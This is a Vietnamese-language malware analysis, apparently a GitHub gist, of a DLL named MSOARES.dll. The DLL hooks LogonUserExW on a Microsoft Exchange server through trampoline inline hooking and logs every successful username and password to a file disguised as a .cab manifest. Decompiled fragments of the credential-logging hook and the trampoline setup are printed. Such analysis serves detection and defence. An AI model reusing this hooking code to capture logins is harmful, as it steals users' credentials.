Skip to content

Instantly share code, notes, and snippets.

@lanleft
Last active March 16, 2021 07:46
Show Gist options
  • Star 0 You must be signed in to star a gist
  • Fork 0 You must be signed in to fork a gist
  • Save lanleft/1a17dd84244aefc32ae04ae64842f2de to your computer and use it in GitHub Desktop.
Save lanleft/1a17dd84244aefc32ae04ae64842f2de to your computer and use it in GitHub Desktop.

MSOARES.dll

File Dll này sử dụng kỹ thuật hooking có tên là Inline API hooking with trampoline. Một chút sơ qua về kỹ thuật hook này trước khi đi vào phân tích file dll

Inline API hooking with trampoline

API hooking là khi hệ thống gọi đến API bị hook thì chương trình sẽ chuyển hướng sang thực hiện hàm mà chúng ta muốn, sau khi thực hiện xong hoặc là trước đó chúng ta sẽ phải gọi lại API gốc để lấy giá trị trả về. Nếu như vậy, chương trình sẽ đi vào vòng lặp vô hạn.

Trampoline hook được sinh ra để giải quyết vấn đề này. Thay vì jmp đến opcode đầu tiên của API gốc thì chương trình sẽ jmp tới một trampoline hoặc là gateway. Trampoline sẽ thực thi một số bytes code đầu tiên của API gốc (cái mà bị ta ghi đè thành bytes code jmp đến hàm của chúng ta) và jmp ngược đến opcode tiếp theo ngay sau những bytes bị ghi đè của API gốc.

Trampoline:
	mov edi, edi
	push ebp
	mov esp, ebp
	jmp API+5 	; jmp to the API after the first replaced 5 bytes

Hình minh họa từ trang link

Inline API hooking with trampoline

DllMain

Bắt đầu từ DllMain, chương trình đi vào hàm sub_180018FD0

BOOL __stdcall DllMain(HINSTANCE hinstDLL, DWORD fdwReason, LPVOID lpvReserved)
{
  sub_180018FD0(hinstDLL, fdwReason, lpvReserved);
  if ( fdwReason == 1 )
    sub_180001580();
  return 1;
}

Điều kiên fdwReason == 1 để đảm bảo chương trình đi vào luồng gọi các module.

sub_180018FD0

Hàm này để load các dll: ntdll.dll, kernel32.dll

__int64 __fastcall sub_180018FD0(__int64 a1, int value_1, __int64 a3)
{
  if ( value_1 )
  {
    v4 = value_1 - 1; // == 0
    if ( v4 )
    {
		// ... sẽ không đi vào
    }
    else
    {
      qword_1800492F0 = a1;
      hLibModule = LoadLibraryA("ntdll.dll");
      if ( !hLibModule )
        return 0i64;
      hModule = LoadLibraryA("kernel32.dll");
      if ( !hModule )
        return 0i64;
      qword_1800492F8 = HeapCreate(0, 0i64, 0i64);
      sub_180019BA0();
      sub_18001A650();
      sub_1800195D0();
      dwTlsIndex = TlsAlloc();
      if ( dwTlsIndex == -1 )
        return 0i64;
    }
  }
  else
  {
    // sẽ không đi vào
  }

sub_180001580

Lấy thông tin ngày tháng time_date kết hợp với string được decode qua xor để tạo thành một tên file gọi là A (tự đặt tên):

C:\Program Files\Microsoft\Exchange Server\V15\FIP-FS\Data\Engines\metadata\manifest.{8b26bc7d-829d-4354-9527-(time_date)}.cab
  v1 = localtime64(&qword_1800492E8);
  strftime(time_date, 0x20ui64, "%m%d%H%M%S", v1);
  // ...
  if ( (int)v3 > 0 )
  {
    v5 = byte_180032A20;
    do
    {
      *v5 = v4++ ^ (*v5 - v3);
      ++v5;
    }
    while ( v4 < (int)v3 );
  }
  sprintf(::Buffer, "%s%s}.cab", byte_180032A20, time_date);
  fp = fopen(::Buffer, "a+bc");

Mở file đó với mode access a+bc

Tiếp đó, ghi thời gian dưới dạng %Y-%m-%d %H:%M:%S vào file.

Gọi hàm LogonUserExW thông qua LoadLibraryWGetProcAddress, nếu có lỗi xảy ra thì ghi vào file A.

  hAdvapi32Dll = LoadLibraryW(L"advapi32.dll");
  if ( !hAdvapi32Dll )
  {
    errorID = GetLastError();
    sub_180001270(word_1800481D0, 2048i64, L"LoadLibrary %d\n", errorID);
	// write to file A
  }
  LogonUserExW = (BOOL (__stdcall *)(LPCWSTR, LPCWSTR, LPCWSTR, DWORD, DWORD, PHANDLE, PSID *, PVOID *, LPDWORD, PQUOTA_LIMITS))GetProcAddress(hAdvapi32Dll, "LogonUserExW");
 

Sau khi gọi thành công hàm LogonUserExW chương trình đi vào hàm sub_180019620

sub_180019210

Chương trình kiểm tra xem con trỏ đến hàm LogonUserExW có là Null hay không và đi vào thực hiện hàm sub_180001300

  if ( (unsigned __int64)LogonUserExW - 1 > 0xFFFFFFFFFFFFFFFDui64 )
  {
    dword_18004930C = GetLastError();
    Src = L"Invalid entry point.";
    return 0xC00000EFi64;
  }
  if ( IsBadReadPtr(LogonUserExW, 1ui64) )
    FatalAppExitW(0, L"memory.c - !IsBadReadPtr(InPtr, InSize)");
  if ( !sub_180001300
    || sub_180001300 == (BOOL (__fastcall *)(const WCHAR *, const WCHAR *, const WCHAR *, DWORD, DWORD, HANDLE *, PSID *, PVOID *, DWORD *, struct _QUOTA_LIMITS *))-1i64 )
  {
    dword_18004930C = GetLastError();
    result = 0xC00000F0i64;
    Src = L"Invalid hook procedure.";
    return result;
  }

Nếu hàm sub_180001300 thất bại thì Src sẽ nhận string Invalid hook procedure. Technique hook khá tương tự như link

Đổi tên hàm sub_180001300 thành HookLogonUser

HookLogonUser

Hàm này thực hiện hook khi hàm LogonUserExW được gọi đến. Và ghi thời gian đăng nhập và giá trị của trường lpszUsernamelpszPassword và file A.

BOOL __fastcall HookLogonUser(const WCHAR *lpszUsername, const WCHAR *lpszDomain, const WCHAR *lpszPassword, DWORD dwLogonType, DWORD dwLogonProvider, HANDLE *phToken, PSID *ppLogonSid, PVOID *ppProfileBuffer, DWORD *pdwProfileLength, struct _QUOTA_LIMITS *pQuotaLimits)
{
	// ...
  result = LogonUserExW(
             lpszUsername,
             lpszDomain,
             lpszPassword,
             dwLogonType,
             dwLogonProvider,
             phToken,
             ppLogonSid,
             ppProfileBuffer,
             pdwProfileLength,
             pQuotaLimits);
  if ( result )
  {
    time64(&Time);
    Tm = localtime64(&Time);
    wcsftime(&time_date_, 0x20ui64, L"%Y-%m-%d %H:%M:%S", Tm);
    if ( (double)((int)Time - (int)qword_1800492E8) > 259200.0 )
    {
	// Truncated ...
    }
    j_vsnwprintf(buff2, 2048i64, L"T:%s  U:%-30s\tP:%-30s\n", &time_date_, lpszUsername, lpszPassword);
    // ...
    fwrite(buff2, 2ui64, (int)v16, Stream);
    fflush(Stream);
  }
  return result;
}

Khi hàm hook thực hiện thành công thì chương trình đi tiếp đến hàm LhAllocateMemory với tham số được truyền vào InEntryPoint là con trỏ đến hàm LogonUserExW

LhAllocateMemory

Theo link, hàm này Allocate một page của vùng nhớ hook. Hàm này cố gắng Allocate một vùng nhớ gần nhất có thể để relocate hầu hết RIP-relative instruction.

LPVOID __fastcall LhAllocateMemory(__int64 InEntryPoint)
{ 
  // truncated ..
  GetSystemInfo(&SystemInfo);
  PAGE_SIZE = SystemInfo.dwPageSize;
  iStart = (LPVOID)(InEntryPoint - 0x7FFFFF00);
  iEnd = (LPVOID)(InEntryPoint + 0x7FFFFF00);
  if ( InEntryPoint - 0x7FFFFF00 < (__int64)SystemInfo.lpMinimumApplicationAddress )
    iStart = SystemInfo.lpMinimumApplicationAddress;
  if ( (__int64)iEnd > (__int64)SystemInfo.lpMaximumApplicationAddress )
    iEnd = SystemInfo.lpMaximumApplicationAddress;
  v5 = 0i64;
  while ( 1 )
  {
    LOBYTE(result) = 1;
    if ( v5 + InEntryPoint < (__int64)iEnd )
    {
      result = VirtualAlloc((LPVOID)(v5 + InEntryPoint), PAGE_SIZE, 0x3000u, 0x40u);
      if ( result )
        break;
    }
    if ( InEntryPoint - v5 <= (__int64)iStart )
    {
      if ( (_BYTE)result )
        return 0i64;
      v5 += PAGE_SIZE;
    }
    else
    {
      result = VirtualAlloc((LPVOID)(InEntryPoint - v5), PAGE_SIZE, 0x3000u, 0x40u);
      if ( result )
        return result;
      v5 += PAGE_SIZE;
    }
  }
  return result;
}

RtlProtectMemory

Sau khi Allocate thêm một vùng nhớ trên memory, chương trình gọi đến hàm RtlProtectMemory để thay đổi quyền truy cập với vùng mem đó thành PAGE_EXECUTE_READWRITE.

__int64 __fastcall RtlProtectMemory(void *lpAddress, unsigned int dwSize, DWORD a3)
{
  if ( VirtualProtect(lpAddress, dwSize, 0x40u, &flOldProtect) )
	// truncated...
  return result;

LhRoundToNextInstruction

Hàm này để xác định size của entry point

EntrySize = LhRoundToNextInstruction((unsigned __int64)LogonUserExW);

Khởi tạo hook handle

Hook->HookProc = (UCHAR *)HookLogonUser;
Hook->RandomValue = (void *)0x69FAB738962376EFi64;
Hook->NativeSize = 664;
Hook->IsExecutedPtr = (int *)&Hook[3].Trampoline;
Hook->TargetProc = (UCHAR *)LogonUserExW;
Hook->EntrySize = EntrySize;
Hook->Callback = 0i64;
LODWORD(Hook[3].Trampoline) = 0;

Trampoline sẽ được gọi trước khi user defined hanler được gọi. Nó sẽ setup một môi trường thích hợp cho hook handler cái mà bao gồm cả fiber deadlock barrieruser special callback

Hook->HookIntro = LhBarrierIntro;
Hook->HookOutro = LhBarrierOutro;

Copy trampoline

Hook->Trampoline = MemoryPtr;
MemoryPtr_ = &MemoryPtr[(unsigned int)GetTrampolineSize()];
Hook->NativeSize += GetTrampolineSize();
data_length = GetTrampolineSize();
v16 = Hook->Trampoline;
v17 = &byte_1800026AD[40];
if ( data_length )
{
// copy trampoline in here
}

Relocate entry point. Cái mà phải được ghi trực tiếp vào target buffer, bởi vì để thay đổi địa chỉ của RIP-relative chúng ta cần biết nơi mà instruction sẽ đi tới.

Code entry point sẽ được copy tới cuối của trampoline với địa chỉ liên quan được điều chỉnh. Hook->OldProc chỉ đến vị trí này.

TargetProc = Hook->TargetProc;
Hook->OldProc = MemoryPtr_;
*RelocSize = 0;
EntrySize_ = LhRelocateEntryPoint(TargetProc, EntrySize_, MemoryPtr_, RelocSize);
if ( EntrySize_ >= 0 )
{
  v21 = (unsigned int)*RelocSize;
  v22 = Hook->OldProc;
  v23 = Hook->EntrySize - v21;
  Hook->NativeSize += v21 + 12;
  v25 = &Hook->TargetProc[v23 - (_QWORD)v22 - 5];
  if ( v25 == (UCHAR *)(int)v25 )
  {
    v22[v21] = -23;
    *(_DWORD *)&Hook->OldProc[v21 + 1] = (_DWORD)v25;
    v24 = (ULONGLONG *)Hook->TargetProc;
    dword_18004930C = 0;
    result = 0i64;
    Hook->TargetBackup = *v24;
    Src = &unk_180026760;
    return result;
  }
  EntrySize_ = 0xC00000BB;

Đến đây là kết thúc quá trình hook.

Kết luận

File Dll này thực hiện chức năng hook vào LogonUserEx API, mỗi lần hệ thống gọi đến làm LogonUserEx thì nó sẽ ghi usernamepassword vào file có định dạnh là C:\Program Files\Microsoft\Exchange Server\V15\FIP-FS\Data\Engines\metadata\manifest.{8b26bc7d-829d-4354-9527-(time_date)}.cab

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment